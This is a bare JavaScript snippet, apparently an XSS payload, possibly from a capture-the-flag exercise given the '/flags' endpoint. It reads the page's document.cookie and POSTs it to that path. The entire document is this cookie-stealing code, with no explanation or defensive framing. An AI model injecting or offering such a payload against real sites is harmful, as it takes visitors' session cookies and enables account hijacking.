var xhr = new XMLHttpRequest();
xhr.open("POST", '/flags', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(document.cookie);